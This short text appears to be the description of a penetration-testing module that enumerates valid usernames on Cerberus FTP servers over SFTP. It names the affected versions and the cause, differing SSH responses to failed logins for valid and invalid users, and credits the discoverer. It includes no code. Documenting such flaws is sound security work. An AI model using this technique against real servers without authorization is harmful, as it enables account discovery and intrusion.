        This module uses a dictionary to brute force valid usernames from
        Cerberus FTP server via SFTP.  This issue affects all versions of
        the software older than 6.0.9.0 or 7.0.0.2 and is caused by a discrepancy
        in the way the SSH service handles failed logins for valid and invalid
        users.  This issue was discovered by Steve Embling.
